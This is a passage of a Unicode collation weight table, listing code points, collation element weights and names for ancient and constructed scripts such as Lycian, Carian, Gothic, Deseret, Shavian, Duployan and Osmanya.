LYCIAN LETTER R -10296 ; [.43C5.0020.0002] # LYCIAN LETTER S -10297 ; [.43C6.0020.0002] # LYCIAN LETTER T -10298 ; [.43C7.0020.0002] # LYCIAN LETTER TT -10299 ; [.43C8.0020.0002] # LYCIAN LETTER AN -1029A ; [.43C9.0020.0002] # LYCIAN LETTER EN -1029B ; [.43CA.0020.0002] # LYCIAN LETTER H -1029C ; [.43CB.0020.0002] # LYCIAN LETTER X -102A0 ; [.43CC.0020.0002] # CARIAN LETTER A -102A1 ; [.43CD.0020.0002] # CARIAN LETTER P2 -102A2 ; [.43CE.0020.0002] # CARIAN LETTER D -102A3 ; [.43CF.0020.0002] # CARIAN LETTER L -102A4 ; [.43D0.0020.0002] # CARIAN LETTER UUU -102A5 ; [.43D1.0020.0002] # CARIAN LETTER R -102A6 ; [.43D2.0020.0002] # CARIAN LETTER LD -102A7 ; [.43D3.0020.0002] # CARIAN LETTER A2 -102A8 ; [.43D4.0020.0002] # CARIAN LETTER Q -102A9 ; [.43D5.0020.0002] # CARIAN LETTER B -102AA ; [.43D6.0020.0002] # CARIAN LETTER M -102AB ; [.43D7.0020.0002] # CARIAN LETTER O -102AC ; [.43D8.0020.0002] # CARIAN LETTER D2 -102AD ; [.43D9.0020.0002] # CARIAN LETTER T -102AE ; [.43DA.0020.0002] # CARIAN LETTER SH -102AF ; [.43DB.0020.0002] # CARIAN LETTER SH2 -102B0 ; [.43DC.0020.0002] # CARIAN LETTER S -102B1 ; [.43DD.0020.0002] # CARIAN LETTER C-18 -102B2 ; [.43DE.0020.0002] # CARIAN LETTER U -102B3 ; [.43DF.0020.0002] # CARIAN LETTER NN -102B4 ; [.43E0.0020.0002] # CARIAN LETTER X -102B5 ; [.43E1.0020.0002] # CARIAN LETTER N -102B6 ; [.43E2.0020.0002] # CARIAN LETTER TT2 -102B7 ; [.43E3.0020.0002] # CARIAN LETTER P -102B8 ; [.43E4.0020.0002] # CARIAN LETTER SS -102B9 ; [.43E5.0020.0002] # CARIAN LETTER I -102BA ; [.43E6.0020.0002] # CARIAN LETTER E -102BB ; [.43E7.0020.0002] # CARIAN LETTER UUUU -102BC ; [.43E8.0020.0002] # CARIAN LETTER K -102BD ; [.43E9.0020.0002] # CARIAN LETTER K2 -102BE ; [.43EA.0020.0002] # CARIAN LETTER ND -102BF ; [.43EB.0020.0002] # CARIAN LETTER UU -102C0 ; [.43EC.0020.0002] # CARIAN LETTER G -102C1 ; [.43ED.0020.0002] # CARIAN LETTER G2 -102C2 ; [.43EE.0020.0002] # CARIAN LETTER ST -102C3 ; [.43EF.0020.0002] # CARIAN LETTER ST2 -102C4 ; [.43F0.0020.0002] # CARIAN LETTER NG -102C5 ; [.43F1.0020.0002] # CARIAN LETTER II -102C6 ; [.43F2.0020.0002] # CARIAN LETTER C-39 -102C7 ; [.43F3.0020.0002] # CARIAN LETTER TT -102C8 ; [.43F4.0020.0002] # CARIAN LETTER UUU2 -102C9 ; [.43F5.0020.0002] # CARIAN LETTER RR -102CA ; [.43F6.0020.0002] # CARIAN LETTER MB -102CB ; [.43F7.0020.0002] # CARIAN LETTER MB2 -102CC ; [.43F8.0020.0002] # CARIAN LETTER MB3 -102CD ; [.43F9.0020.0002] # CARIAN LETTER MB4 -102CE ; [.43FA.0020.0002] # CARIAN LETTER LD2 -102CF ; [.43FB.0020.0002] # CARIAN LETTER E2 -102D0 ; [.43FC.0020.0002] # CARIAN LETTER UUU3 -10920 ; [.43FD.0020.0002] # LYDIAN LETTER A -10921 ; [.43FE.0020.0002] # LYDIAN LETTER B -10922 ; [.43FF.0020.0002] # LYDIAN LETTER G -10923 ; [.4400.0020.0002] # LYDIAN LETTER D -10924 ; [.4401.0020.0002] # LYDIAN LETTER E -10925 ; [.4402.0020.0002] # LYDIAN LETTER V -10926 ; [.4403.0020.0002] # LYDIAN LETTER I -10927 ; [.4404.0020.0002] # LYDIAN LETTER Y -10928 ; [.4405.0020.0002] # LYDIAN LETTER K -10929 ; [.4406.0020.0002] # LYDIAN LETTER L -1092A ; [.4407.0020.0002] # LYDIAN LETTER M -1092B ; [.4408.0020.0002] # LYDIAN LETTER N -1092C ; [.4409.0020.0002] # LYDIAN LETTER O -1092D ; [.440A.0020.0002] # LYDIAN LETTER R -1092E ; [.440B.0020.0002] # LYDIAN LETTER SS -1092F ; [.440C.0020.0002] # LYDIAN LETTER T -10930 ; [.440D.0020.0002] # LYDIAN LETTER U -10931 ; [.440E.0020.0002] # LYDIAN LETTER F -10932 ; [.440F.0020.0002] # LYDIAN LETTER Q -10933 ; [.4410.0020.0002] # LYDIAN LETTER S -10934 ; [.4411.0020.0002] # LYDIAN LETTER TT -10935 ; [.4412.0020.0002] # LYDIAN LETTER AN -10936 ; [.4413.0020.0002] # LYDIAN LETTER EN -10937 ; [.4414.0020.0002] # LYDIAN LETTER LY -10938 ; [.4415.0020.0002] # LYDIAN LETTER NN -10939 ; [.4416.0020.0002] # LYDIAN LETTER C -10300 ; [.4417.0020.0002] # OLD ITALIC LETTER A -10301 ; [.4418.0020.0002] # OLD ITALIC LETTER BE -10302 ; [.4419.0020.0002] # OLD ITALIC LETTER KE -10303 ; [.441A.0020.0002] # OLD ITALIC LETTER DE -10304 ; [.441B.0020.0002] # OLD ITALIC LETTER E -10305 ; [.441C.0020.0002] # OLD ITALIC LETTER VE -10306 ; [.441D.0020.0002] # OLD ITALIC LETTER ZE -10307 ; [.441E.0020.0002] # OLD ITALIC LETTER HE -10308 ; [.441F.0020.0002] # OLD ITALIC LETTER THE -10309 ; [.4420.0020.0002] # OLD ITALIC LETTER I -1030A ; [.4421.0020.0002] # OLD ITALIC LETTER KA -1030B ; [.4422.0020.0002] # OLD ITALIC LETTER EL -1030C ; [.4423.0020.0002] # OLD ITALIC LETTER EM -1030D ; [.4424.0020.0002] # OLD ITALIC LETTER EN -1030E ; [.4425.0020.0002] # OLD ITALIC LETTER ESH -1031F ; [.4426.0020.0002] # OLD ITALIC LETTER ESS -1030F ; [.4427.0020.0002] # OLD ITALIC LETTER O -10310 ; [.4428.0020.0002] # OLD ITALIC LETTER PE -10311 ; [.4429.0020.0002] # OLD ITALIC LETTER SHE -10312 ; [.442A.0020.0002] # OLD ITALIC LETTER KU -10313 ; [.442B.0020.0002] # OLD ITALIC LETTER ER -10314 ; [.442C.0020.0002] # OLD ITALIC LETTER ES -10315 ; [.442D.0020.0002] # OLD ITALIC LETTER TE -10316 ; [.442E.0020.0002] # OLD ITALIC LETTER U -10317 ; [.442F.0020.0002] # OLD ITALIC LETTER EKS -10318 ; [.4430.0020.0002] # OLD ITALIC LETTER PHE -10319 ; [.4431.0020.0002] # OLD ITALIC LETTER KHE -1031A ; [.4432.0020.0002] # OLD ITALIC LETTER EF -1031B ; [.4433.0020.0002] # OLD ITALIC LETTER ERS -1031C ; [.4434.0020.0002] # OLD ITALIC LETTER CHE -1031D ; [.4435.0020.0002] # OLD ITALIC LETTER II -1031E ; [.4436.0020.0002] # OLD ITALIC LETTER UU -10330 ; [.4437.0020.0002] # GOTHIC LETTER AHSA -10331 ; [.4438.0020.0002] # GOTHIC LETTER BAIRKAN -10332 ; [.4439.0020.0002] # GOTHIC LETTER GIBA -10333 ; [.443A.0020.0002] # GOTHIC LETTER DAGS -10334 ; [.443B.0020.0002] # GOTHIC LETTER AIHVUS -10335 ; [.443C.0020.0002] # GOTHIC LETTER QAIRTHRA -10336 ; [.443D.0020.0002] # GOTHIC LETTER IUJA -10337 ; [.443E.0020.0002] # GOTHIC LETTER HAGL -10338 ; [.443F.0020.0002] # GOTHIC LETTER THIUTH -10339 ; [.4440.0020.0002] # GOTHIC LETTER EIS -1033A ; [.4441.0020.0002] # GOTHIC LETTER KUSMA -1033B ; [.4442.0020.0002] # GOTHIC LETTER LAGUS -1033C ; [.4443.0020.0002] # GOTHIC LETTER MANNA -1033D ; [.4444.0020.0002] # GOTHIC LETTER NAUTHS -1033E ; [.4445.0020.0002] # GOTHIC LETTER JER -1033F ; [.4446.0020.0002] # GOTHIC LETTER URUS -10340 ; [.4447.0020.0002] # GOTHIC LETTER PAIRTHRA -10341 ; [.4448.0020.0002] # GOTHIC LETTER NINETY -10342 ; [.4449.0020.0002] # GOTHIC LETTER RAIDA -10343 ; [.444A.0020.0002] # GOTHIC LETTER SAUIL -10344 ; [.444B.0020.0002] # GOTHIC LETTER TEIWS -10345 ; [.444C.0020.0002] # GOTHIC LETTER WINJA -10346 ; [.444D.0020.0002] # GOTHIC LETTER FAIHU -10347 ; [.444E.0020.0002] # GOTHIC LETTER IGGWS -10348 ; [.444F.0020.0002] # GOTHIC LETTER HWAIR -10349 ; [.4450.0020.0002] # GOTHIC LETTER OTHAL -1034A ; [.4451.0020.0002] # GOTHIC LETTER NINE HUNDRED -10428 ; [.4452.0020.0002] # DESERET SMALL LETTER LONG I -10400 ; [.4452.0020.0008] # DESERET CAPITAL LETTER LONG I -10429 ; [.4453.0020.0002] # DESERET SMALL LETTER LONG E -10401 ; [.4453.0020.0008] # DESERET CAPITAL LETTER LONG E -1042A ; [.4454.0020.0002] # DESERET SMALL LETTER LONG A -10402 ; [.4454.0020.0008] # DESERET CAPITAL LETTER LONG A -1042B ; [.4455.0020.0002] # DESERET SMALL LETTER LONG AH -10403 ; [.4455.0020.0008] # DESERET CAPITAL LETTER LONG AH -1042C ; [.4456.0020.0002] # DESERET SMALL LETTER LONG O -10404 ; [.4456.0020.0008] # DESERET CAPITAL LETTER LONG O -1042D ; [.4457.0020.0002] # DESERET SMALL LETTER LONG OO -10405 ; [.4457.0020.0008] # DESERET CAPITAL LETTER LONG OO -1042E ; [.4458.0020.0002] # DESERET SMALL LETTER SHORT I -10406 ; [.4458.0020.0008] # DESERET CAPITAL LETTER SHORT I -1042F ; [.4459.0020.0002] # DESERET SMALL LETTER SHORT E -10407 ; [.4459.0020.0008] # DESERET CAPITAL LETTER SHORT E -10430 ; [.445A.0020.0002] # DESERET SMALL LETTER SHORT A -10408 ; [.445A.0020.0008] # DESERET CAPITAL LETTER SHORT A -10431 ; [.445B.0020.0002] # DESERET SMALL LETTER SHORT AH -10409 ; [.445B.0020.0008] # DESERET CAPITAL LETTER SHORT AH -10432 ; [.445C.0020.0002] # DESERET SMALL LETTER SHORT O -1040A ; [.445C.0020.0008] # DESERET CAPITAL LETTER SHORT O -10433 ; [.445D.0020.0002] # DESERET SMALL LETTER SHORT OO -1040B ; [.445D.0020.0008] # DESERET CAPITAL LETTER SHORT OO -10434 ; [.445E.0020.0002] # DESERET SMALL LETTER AY -1040C ; [.445E.0020.0008] # DESERET CAPITAL LETTER AY -10435 ; [.445F.0020.0002] # DESERET SMALL LETTER OW -1040D ; [.445F.0020.0008] # DESERET CAPITAL LETTER OW -10436 ; [.4460.0020.0002] # DESERET SMALL LETTER WU -1040E ; [.4460.0020.0008] # DESERET CAPITAL LETTER WU -10437 ; [.4461.0020.0002] # DESERET SMALL LETTER YEE -1040F ; [.4461.0020.0008] # DESERET CAPITAL LETTER YEE -10438 ; [.4462.0020.0002] # DESERET SMALL LETTER H -10410 ; [.4462.0020.0008] # DESERET CAPITAL LETTER H -10439 ; [.4463.0020.0002] # DESERET SMALL LETTER PEE -10411 ; [.4463.0020.0008] # DESERET CAPITAL LETTER PEE -1043A ; [.4464.0020.0002] # DESERET SMALL LETTER BEE -10412 ; [.4464.0020.0008] # DESERET CAPITAL LETTER BEE -1043B ; [.4465.0020.0002] # DESERET SMALL LETTER TEE -10413 ; [.4465.0020.0008] # DESERET CAPITAL LETTER TEE -1043C ; [.4466.0020.0002] # DESERET SMALL LETTER DEE -10414 ; [.4466.0020.0008] # DESERET CAPITAL LETTER DEE -1043D ; [.4467.0020.0002] # DESERET SMALL LETTER CHEE -10415 ; [.4467.0020.0008] # DESERET CAPITAL LETTER CHEE -1043E ; [.4468.0020.0002] # DESERET SMALL LETTER JEE -10416 ; [.4468.0020.0008] # DESERET CAPITAL LETTER JEE -1043F ; [.4469.0020.0002] # DESERET SMALL LETTER KAY -10417 ; [.4469.0020.0008] # DESERET CAPITAL LETTER KAY -10440 ; [.446A.0020.0002] # DESERET SMALL LETTER GAY -10418 ; [.446A.0020.0008] # DESERET CAPITAL LETTER GAY -10441 ; [.446B.0020.0002] # DESERET SMALL LETTER EF -10419 ; [.446B.0020.0008] # DESERET CAPITAL LETTER EF -10442 ; [.446C.0020.0002] # DESERET SMALL LETTER VEE -1041A ; [.446C.0020.0008] # DESERET CAPITAL LETTER VEE -10443 ; [.446D.0020.0002] # DESERET SMALL LETTER ETH -1041B ; [.446D.0020.0008] # DESERET CAPITAL LETTER ETH -10444 ; [.446E.0020.0002] # DESERET SMALL LETTER THEE -1041C ; [.446E.0020.0008] # DESERET CAPITAL LETTER THEE -10445 ; [.446F.0020.0002] # DESERET SMALL LETTER ES -1041D ; [.446F.0020.0008] # DESERET CAPITAL LETTER ES -10446 ; [.4470.0020.0002] # DESERET SMALL LETTER ZEE -1041E ; [.4470.0020.0008] # DESERET CAPITAL LETTER ZEE -10447 ; [.4471.0020.0002] # DESERET SMALL LETTER ESH -1041F ; [.4471.0020.0008] # DESERET CAPITAL LETTER ESH -10448 ; [.4472.0020.0002] # DESERET SMALL LETTER ZHEE -10420 ; [.4472.0020.0008] # DESERET CAPITAL LETTER ZHEE -10449 ; [.4473.0020.0002] # DESERET SMALL LETTER ER -10421 ; [.4473.0020.0008] # DESERET CAPITAL LETTER ER -1044A ; [.4474.0020.0002] # DESERET SMALL LETTER EL -10422 ; [.4474.0020.0008] # DESERET CAPITAL LETTER EL -1044B ; [.4475.0020.0002] # DESERET SMALL LETTER EM -10423 ; [.4475.0020.0008] # DESERET CAPITAL LETTER EM -1044C ; [.4476.0020.0002] # DESERET SMALL LETTER EN -10424 ; [.4476.0020.0008] # DESERET CAPITAL LETTER EN -1044D ; [.4477.0020.0002] # DESERET SMALL LETTER ENG -10425 ; [.4477.0020.0008] # DESERET CAPITAL LETTER ENG -1044E ; [.4478.0020.0002] # DESERET SMALL LETTER OI -10426 ; [.4478.0020.0008] # DESERET CAPITAL LETTER OI -1044F ; [.4479.0020.0002] # DESERET SMALL LETTER EW -10427 ; [.4479.0020.0008] # DESERET CAPITAL LETTER EW -10450 ; [.447A.0020.0002] # SHAVIAN LETTER PEEP -10451 ; [.447B.0020.0002] # SHAVIAN LETTER TOT -10452 ; [.447C.0020.0002] # SHAVIAN LETTER KICK -10453 ; [.447D.0020.0002] # SHAVIAN LETTER FEE -10454 ; [.447E.0020.0002] # SHAVIAN LETTER THIGH -10455 ; [.447F.0020.0002] # SHAVIAN LETTER SO -10456 ; [.4480.0020.0002] # SHAVIAN LETTER SURE -10457 ; [.4481.0020.0002] # SHAVIAN LETTER CHURCH -10458 ; [.4482.0020.0002] # SHAVIAN LETTER YEA -10459 ; [.4483.0020.0002] # SHAVIAN LETTER HUNG -1045A ; [.4484.0020.0002] # SHAVIAN LETTER BIB -1045B ; [.4485.0020.0002] # SHAVIAN LETTER DEAD -1045C ; [.4486.0020.0002] # SHAVIAN LETTER GAG -1045D ; [.4487.0020.0002] # SHAVIAN LETTER VOW -1045E ; [.4488.0020.0002] # SHAVIAN LETTER THEY -1045F ; [.4489.0020.0002] # SHAVIAN LETTER ZOO -10460 ; [.448A.0020.0002] # SHAVIAN LETTER MEASURE -10461 ; [.448B.0020.0002] # SHAVIAN LETTER JUDGE -10462 ; [.448C.0020.0002] # SHAVIAN LETTER WOE -10463 ; [.448D.0020.0002] # SHAVIAN LETTER HA-HA -10464 ; [.448E.0020.0002] # SHAVIAN LETTER LOLL -10465 ; [.448F.0020.0002] # SHAVIAN LETTER MIME -10466 ; [.4490.0020.0002] # SHAVIAN LETTER IF -10467 ; [.4491.0020.0002] # SHAVIAN LETTER EGG -10468 ; [.4492.0020.0002] # SHAVIAN LETTER ASH -10469 ; [.4493.0020.0002] # SHAVIAN LETTER ADO -1046A ; [.4494.0020.0002] # SHAVIAN LETTER ON -1046B ; [.4495.0020.0002] # SHAVIAN LETTER WOOL -1046C ; [.4496.0020.0002] # SHAVIAN LETTER OUT -1046D ; [.4497.0020.0002] # SHAVIAN LETTER AH -1046E ; [.4498.0020.0002] # SHAVIAN LETTER ROAR -1046F ; [.4499.0020.0002] # SHAVIAN LETTER NUN -10470 ; [.449A.0020.0002] # SHAVIAN LETTER EAT -10471 ; [.449B.0020.0002] # SHAVIAN LETTER AGE -10472 ; [.449C.0020.0002] # SHAVIAN LETTER ICE -10473 ; [.449D.0020.0002] # SHAVIAN LETTER UP -10474 ; [.449E.0020.0002] # SHAVIAN LETTER OAK -10475 ; [.449F.0020.0002] # SHAVIAN LETTER OOZE -10476 ; [.44A0.0020.0002] # SHAVIAN LETTER OIL -10477 ; [.44A1.0020.0002] # SHAVIAN LETTER AWE -10478 ; [.44A2.0020.0002] # SHAVIAN LETTER ARE -10479 ; [.44A3.0020.0002] # SHAVIAN LETTER OR -1047A ; [.44A4.0020.0002] # SHAVIAN LETTER AIR -1047B ; [.44A5.0020.0002] # SHAVIAN LETTER ERR -1047C ; [.44A6.0020.0002] # SHAVIAN LETTER ARRAY -1047D ; [.44A7.0020.0002] # SHAVIAN LETTER EAR -1047E ; [.44A8.0020.0002] # SHAVIAN LETTER IAN -1047F ; [.44A9.0020.0002] # SHAVIAN LETTER YEW -1BC00 ; [.44AA.0020.0002] # DUPLOYAN LETTER H -1BC01 ; [.44AB.0020.0002] # DUPLOYAN LETTER X -1BC02 ; [.44AC.0020.0002] # DUPLOYAN LETTER P -1BC03 ; [.44AD.0020.0002] # DUPLOYAN LETTER T -1BC04 ; [.44AE.0020.0002] # DUPLOYAN LETTER F -1BC05 ; [.44AF.0020.0002] # DUPLOYAN LETTER K -1BC06 ; [.44B0.0020.0002] # DUPLOYAN LETTER L -1BC07 ; [.44B1.0020.0002] # DUPLOYAN LETTER B -1BC08 ; [.44B2.0020.0002] # DUPLOYAN LETTER D -1BC09 ; [.44B3.0020.0002] # DUPLOYAN LETTER V -1BC0A ; [.44B4.0020.0002] # DUPLOYAN LETTER G -1BC0B ; [.44B5.0020.0002] # DUPLOYAN LETTER R -1BC0C ; [.44B6.0020.0002] # DUPLOYAN LETTER P N -1BC0D ; [.44B7.0020.0002] # DUPLOYAN LETTER D S -1BC0E ; [.44B8.0020.0002] # DUPLOYAN LETTER F N -1BC0F ; [.44B9.0020.0002] # DUPLOYAN LETTER K M -1BC10 ; [.44BA.0020.0002] # DUPLOYAN LETTER R S -1BC11 ; [.44BB.0020.0002] # DUPLOYAN LETTER TH -1BC12 ; [.44BC.0020.0002] # DUPLOYAN LETTER SLOAN DH -1BC13 ; [.44BD.0020.0002] # DUPLOYAN LETTER DH -1BC14 ; [.44BE.0020.0002] # DUPLOYAN LETTER KK -1BC15 ; [.44BF.0020.0002] # DUPLOYAN LETTER SLOAN J -1BC16 ; [.44C0.0020.0002] # DUPLOYAN LETTER HL -1BC17 ; [.44C1.0020.0002] # DUPLOYAN LETTER LH -1BC18 ; [.44C2.0020.0002] # DUPLOYAN LETTER RH -1BC19 ; [.44C3.0020.0002] # DUPLOYAN LETTER M -1BC1A ; [.44C4.0020.0002] # DUPLOYAN LETTER N -1BC1B ; [.44C5.0020.0002] # DUPLOYAN LETTER J -1BC1C ; [.44C6.0020.0002] # DUPLOYAN LETTER S -1BC1D ; [.44C7.0020.0002] # DUPLOYAN LETTER M N -1BC1E ; [.44C8.0020.0002] # DUPLOYAN LETTER N M -1BC1F ; [.44C9.0020.0002] # DUPLOYAN LETTER J M -1BC20 ; [.44CA.0020.0002] # DUPLOYAN LETTER S J -1BC21 ; [.44CB.0020.0002] # DUPLOYAN LETTER M WITH DOT -1BC22 ; [.44CC.0020.0002] # DUPLOYAN LETTER N WITH DOT -1BC23 ; [.44CD.0020.0002] # DUPLOYAN LETTER J WITH DOT -1BC24 ; [.44CE.0020.0002] # DUPLOYAN LETTER J WITH DOTS INSIDE AND ABOVE -1BC25 ; [.44CF.0020.0002] # DUPLOYAN LETTER S WITH DOT -1BC26 ; [.44D0.0020.0002] # DUPLOYAN LETTER S WITH DOT BELOW -1BC27 ; [.44D1.0020.0002] # DUPLOYAN LETTER M S -1BC28 ; [.44D2.0020.0002] # DUPLOYAN LETTER N S -1BC29 ; [.44D3.0020.0002] # DUPLOYAN LETTER J S -1BC2A ; [.44D4.0020.0002] # DUPLOYAN LETTER S S -1BC2B ; [.44D5.0020.0002] # DUPLOYAN LETTER M N S -1BC2C ; [.44D6.0020.0002] # DUPLOYAN LETTER N M S -1BC2D ; [.44D7.0020.0002] # DUPLOYAN LETTER J M S -1BC2E ; [.44D8.0020.0002] # DUPLOYAN LETTER S J S -1BC2F ; [.44D9.0020.0002] # DUPLOYAN LETTER J S WITH DOT -1BC30 ; [.44DA.0020.0002] # DUPLOYAN LETTER J N -1BC31 ; [.44DB.0020.0002] # DUPLOYAN LETTER J N S -1BC32 ; [.44DC.0020.0002] # DUPLOYAN LETTER S T -1BC33 ; [.44DD.0020.0002] # DUPLOYAN LETTER S T R -1BC34 ; [.44DE.0020.0002] # DUPLOYAN LETTER S P -1BC35 ; [.44DF.0020.0002] # DUPLOYAN LETTER S P R -1BC36 ; [.44E0.0020.0002] # DUPLOYAN LETTER T S -1BC37 ; [.44E1.0020.0002] # DUPLOYAN LETTER T R S -1BC38 ; [.44E2.0020.0002] # DUPLOYAN LETTER W -1BC39 ; [.44E3.0020.0002] # DUPLOYAN LETTER WH -1BC3A ; [.44E4.0020.0002] # DUPLOYAN LETTER W R -1BC3B ; [.44E5.0020.0002] # DUPLOYAN LETTER S N -1BC3C ; [.44E6.0020.0002] # DUPLOYAN LETTER S M -1BC3D ; [.44E7.0020.0002] # DUPLOYAN LETTER K R S -1BC3E ; [.44E8.0020.0002] # DUPLOYAN LETTER G R S -1BC3F ; [.44E9.0020.0002] # DUPLOYAN LETTER S K -1BC40 ; [.44EA.0020.0002] # DUPLOYAN LETTER S K R -1BC41 ; [.44EB.0020.0002] # DUPLOYAN LETTER A -1BC42 ; [.44EC.0020.0002] # DUPLOYAN LETTER SLOAN OW -1BC43 ; [.44ED.0020.0002] # DUPLOYAN LETTER OA -1BC44 ; [.44EE.0020.0002] # DUPLOYAN LETTER O -1BC45 ; [.44EF.0020.0002] # DUPLOYAN LETTER AOU -1BC46 ; [.44F0.0020.0002] # DUPLOYAN LETTER I -1BC47 ; [.44F1.0020.0002] # DUPLOYAN LETTER E -1BC48 ; [.44F2.0020.0002] # DUPLOYAN LETTER IE -1BC49 ; [.44F3.0020.0002] # DUPLOYAN LETTER SHORT I -1BC4A ; [.44F4.0020.0002] # DUPLOYAN LETTER UI -1BC4B ; [.44F5.0020.0002] # DUPLOYAN LETTER EE -1BC4C ; [.44F6.0020.0002] # DUPLOYAN LETTER SLOAN EH -1BC4D ; [.44F7.0020.0002] # DUPLOYAN LETTER ROMANIAN I -1BC4E ; [.44F8.0020.0002] # DUPLOYAN LETTER SLOAN EE -1BC4F ; [.44F9.0020.0002] # DUPLOYAN LETTER LONG I -1BC50 ; [.44FA.0020.0002] # DUPLOYAN LETTER YE -1BC51 ; [.44FB.0020.0002] # DUPLOYAN LETTER U -1BC52 ; [.44FC.0020.0002] # DUPLOYAN LETTER EU -1BC53 ; [.44FD.0020.0002] # DUPLOYAN LETTER XW -1BC54 ; [.44FE.0020.0002] # DUPLOYAN LETTER U N -1BC55 ; [.44FF.0020.0002] # DUPLOYAN LETTER LONG U -1BC56 ; [.4500.0020.0002] # DUPLOYAN LETTER ROMANIAN U -1BC57 ; [.4501.0020.0002] # DUPLOYAN LETTER UH -1BC58 ; [.4502.0020.0002] # DUPLOYAN LETTER SLOAN U -1BC59 ; [.4503.0020.0002] # DUPLOYAN LETTER OOH -1BC5A ; [.4504.0020.0002] # DUPLOYAN LETTER OW -1BC5B ; [.4505.0020.0002] # DUPLOYAN LETTER OU -1BC5C ; [.4506.0020.0002] # DUPLOYAN LETTER WA -1BC5D ; [.4507.0020.0002] # DUPLOYAN LETTER WO -1BC5E ; [.4508.0020.0002] # DUPLOYAN LETTER WI -1BC5F ; [.4509.0020.0002] # DUPLOYAN LETTER WEI -1BC60 ; [.450A.0020.0002] # DUPLOYAN LETTER WOW -1BC61 ; [.450B.0020.0002] # DUPLOYAN LETTER NASAL U -1BC62 ; [.450C.0020.0002] # DUPLOYAN LETTER NASAL O -1BC63 ; [.450D.0020.0002] # DUPLOYAN LETTER NASAL I -1BC64 ; [.450E.0020.0002] # DUPLOYAN LETTER NASAL A -1BC65 ; [.450F.0020.0002] # DUPLOYAN LETTER PERNIN AN -1BC66 ; [.4510.0020.0002] # DUPLOYAN LETTER PERNIN AM -1BC67 ; [.4511.0020.0002] # DUPLOYAN LETTER SLOAN EN -1BC68 ; [.4512.0020.0002] # DUPLOYAN LETTER SLOAN AN -1BC69 ; [.4513.0020.0002] # DUPLOYAN LETTER SLOAN ON -1BC6A ; [.4514.0020.0002] # DUPLOYAN LETTER VOCALIC M -1BC70 ; [.4515.0020.0002] # DUPLOYAN AFFIX LEFT HORIZONTAL SECANT -1BC71 ; [.4516.0020.0002] # DUPLOYAN AFFIX MID HORIZONTAL SECANT -1BC72 ; [.4517.0020.0002] # DUPLOYAN AFFIX RIGHT HORIZONTAL SECANT -1BC73 ; [.4518.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL SECANT -1BC74 ; [.4519.0020.0002] # DUPLOYAN AFFIX MID VERTICAL SECANT -1BC75 ; [.451A.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL SECANT -1BC76 ; [.451B.0020.0002] # DUPLOYAN AFFIX ATTACHED SECANT -1BC77 ; [.451C.0020.0002] # DUPLOYAN AFFIX ATTACHED LEFT-TO-RIGHT SECANT -1BC78 ; [.451D.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT -1BC79 ; [.451E.0020.0002] # DUPLOYAN AFFIX ATTACHED TAIL -1BC7A ; [.451F.0020.0002] # DUPLOYAN AFFIX ATTACHED E HOOK -1BC7B ; [.4520.0020.0002] # DUPLOYAN AFFIX ATTACHED I HOOK -1BC7C ; [.4521.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT HOOK -1BC80 ; [.4522.0020.0002] # DUPLOYAN AFFIX HIGH ACUTE -1BC81 ; [.4523.0020.0002] # DUPLOYAN AFFIX HIGH TIGHT ACUTE -1BC82 ; [.4524.0020.0002] # DUPLOYAN AFFIX HIGH GRAVE -1BC83 ; [.4525.0020.0002] # DUPLOYAN AFFIX HIGH LONG GRAVE -1BC84 ; [.4526.0020.0002] # DUPLOYAN AFFIX HIGH DOT -1BC85 ; [.4527.0020.0002] # DUPLOYAN AFFIX HIGH CIRCLE -1BC86 ; [.4528.0020.0002] # DUPLOYAN AFFIX HIGH LINE -1BC87 ; [.4529.0020.0002] # DUPLOYAN AFFIX HIGH WAVE -1BC88 ; [.452A.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL -1BC90 ; [.452B.0020.0002] # DUPLOYAN AFFIX LOW ACUTE -1BC91 ; [.452C.0020.0002] # DUPLOYAN AFFIX LOW TIGHT ACUTE -1BC92 ; [.452D.0020.0002] # DUPLOYAN AFFIX LOW GRAVE -1BC93 ; [.452E.0020.0002] # DUPLOYAN AFFIX LOW LONG GRAVE -1BC94 ; [.452F.0020.0002] # DUPLOYAN AFFIX LOW DOT -1BC95 ; [.4530.0020.0002] # DUPLOYAN AFFIX LOW CIRCLE -1BC96 ; [.4531.0020.0002] # DUPLOYAN AFFIX LOW LINE -1BC97 ; [.4532.0020.0002] # DUPLOYAN AFFIX LOW WAVE -1BC98 ; [.4533.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL -1BC99 ; [.4534.0020.0002] # DUPLOYAN AFFIX LOW ARROW -10480 ; [.4535.0020.0002] # OSMANYA LETTER ALEF -10481 ; [.4536.0020.0002] # OSMANYA LETTER BA -10482 ; [.4537.0020.0002] # OSMANYA LETTER TA -10483 ; [.4538.0020.0002] # OSMANYA LETTER JA -10484 ; [.4539.0020.0002] # OSMANYA LETTER XA -10485 ; [.453A.0020.0002] # OSMANYA LETTER KHA -10486 ; [.453B.0020.0002] # OSMANYA LETTER DEEL -10487 ; [.453C.0020.0002] # OSMANYA LETTER RA -10488 ; [.453D.0020.0002] # OSMANYA LETTER SA -10489 ; [.453E.0020.0002] # OSMANYA LETTER SHIIN -1048A ; [.453F.0020.0002] # OSMANYA LETTER DHA -1048B ; [.4540.0020.0002] # OSMANYA LETTER CAYN -1048C ; [.4541.0020.0002] # OSMANYA LETTER GA -1048D ; [.4542.0020.0002] # OSMANYA LETTER FA -1048E ; [.4543.0020.0002] # OSMANYA LETTER QAAF -1048F ; [.4544.0020.0002] # OSMANYA LETTER KAAF -10490 ; [.4545.0020.0002] # OSMANYA LETTER LAAN -10491 ; [.4546.0020.0002] # OSMANYA LETTER MIIN -10492 ; [.4547.0020.0002] # OSMANYA LETTER NUUN -10493 ; [.4548.0020.0002] # OSMANYA LETTER WAW -10494 ; [.4549.0020.0002] # OSMANYA LETTER HA -10495 ; [.454A.0020.0002] # OSMANYA LETTER YA -10496 ; [.454B.0020.0002] # OSMANYA LETTER A -10497 ; [.454C.0020.0002] # OSMANYA LETTER E -10498 ; [.454D.0020.0002] # OSMANYA LETTER I -10499 ; [.454E.0020.0002] # OSMANYA LETTER O -1049A ; [.454F.0020.0002] # OSMANYA LETTER U -1049B ; [.4550.0020.0002] # OSMANYA LETTER AA -1049C ; [.4551.0020.0002] # OSMANYA LETTER EE -1049D ; [.4552.0020.0002] # OSMANYA LETTER OO -10500 ; [.4553.0020.0002] # ELBASAN LETTER A -10501 ; [.4554.0020.0002] # ELBASAN LETTER BE -10502 ; [.4555.0020.0002] # ELBASAN LETTER CE -10503 